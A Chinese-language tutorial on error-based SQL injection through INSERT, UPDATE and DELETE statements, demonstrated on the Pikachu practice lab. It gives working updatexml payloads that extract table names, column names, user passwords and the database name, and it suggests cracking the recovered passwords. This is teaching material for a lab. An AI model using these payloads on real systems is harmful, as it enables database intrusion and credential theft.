一.前言
前面我们介绍了一下报错注入,本章节来介绍一下sql注入语句的分类:
select、delete、update、insert,也就是增删改查。
select不用多说,前面一直在用。
其实insert\update\delete等也是mysql的函数。
二.insert注入
就是前端注册(或者提交)的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数 据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
2.1 爆表名
本质上还是上一节的报错注入
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2.2 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
2.3 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
这个爆破出密码了,我们就可以用
试试爆破
如果是简单密码就可以直接爆破出来了
三.update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端(或者修改数据的地方),登录端一般说的 是修改最后一次登录时间等信息,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,然后登录进去
我们发现四个位置,就可以来检测注入点了
' or updatexml(0,concat(0x7e,(select database())),0) or'
发现都可以注入,那我们就测试一下
这就爆破出库名了,其他的和前面一样就不水了
四.delete注入
应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包 相关delete参数进行注入,一般普通的用户是没有权限删除数据的,管理员才行。
pikachu中看效果,我们先做几条留言,方便删除的时候用
#注意这是个数字型注入,所以不要引号昂
%20or%20updatexml(2,concat(0x7e,(database())),0) 空格编码了
加上后面这个
相当于执行后面的了:
delete from message where id=1 or updatexml(2,concat(0x7e,(database())),0)
其他的也就和前面一样,这里也不多说了
五.总结
本章节讲解了一下不同场景下的注入方式,本质上还是前面报错注入,只是让大家了解一下运用场景。